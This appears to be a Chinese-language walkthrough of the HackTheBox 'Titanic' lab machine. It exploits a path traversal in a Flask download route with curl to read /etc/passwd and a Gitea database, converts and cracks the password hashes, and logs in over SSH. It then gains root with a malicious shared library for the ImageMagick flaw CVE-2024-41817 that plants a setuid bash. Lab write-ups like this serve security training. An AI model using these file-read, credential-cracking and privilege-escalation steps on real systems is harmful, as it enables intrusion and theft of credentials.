HTB: Titanic
侦察
Nmap扫描
Nmap扫描发现两个开放的TCP端口:SSH(22)和HTTP(80):
1
2
3
4
5
6
7
8
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 13:45 EST
Nmap scan report for 10.10.11.55
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|
详细版本扫描显示:
- SSH运行OpenSSH 8.9p1 Ubuntu
- HTTP运行Apache 2.4.52,重定向到titanic.htb
子域名爆破
使用ffuf发现dev.titanic.htb子域名:
1
2
|
oxdf@hacky$ ffuf -u http://10.10.11.55 -H "Host: FUZZ.titanic.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 101ms]
|
Titanic.htb网站分析
技术栈
网站使用Werkzeug/3.0.3 Python/3.10.12,基于Flask框架:
1
|
Server: Werkzeug/3.0.3 Python/3.10.12
|
目录爆破
Feroxbuster扫描未发现有趣目录,但确认/book端点只接受POST请求。
Dev.titanic.htb - Gitea实例
代码库分析
发现两个公共仓库:
- docker-config:包含Docker compose文件
- flask-app:包含主网站源代码
漏洞发现
在app.py中发现目录遍历漏洞:
1
2
3
4
5
6
|
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
|
开发者Shell获取
文件读取利用
利用os.path.join特性读取系统文件:
1
|
curl 'http://titanic.htb/download?ticket=/etc/passwd'
|
Gitea数据库提取
读取Gitea配置文件,定位数据库路径:
1
|
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini'
|
下载数据库文件:
1
|
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
|
哈希破解
从用户表提取哈希并转换为hashcat格式:
1
2
3
4
5
6
|
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
name=$(echo $data | cut -d'|' -f 3)
echo "${name}:sha256:50000:${salt}:${digest}"
done
|
使用rockyou.txt破解出开发者密码:25282528
SSH访问
1
|
sshpass -p '25282528' ssh developer@titanic.htb
|
Root权限提升
枚举发现
在/opt/scripts发现identify_images.sh脚本:
1
2
3
|
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
|
脚本每分钟以root权限运行。
ImageMagick漏洞利用
ImageMagick版本7.1.1-35存在CVE-2024-41817漏洞,允许通过恶意共享库执行代码。
创建恶意库:
1
2
3
4
5
6
7
8
9
10
|
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf");
exit(0);
}
EOF
|
等待cron执行后获取root shell:
获取Root标志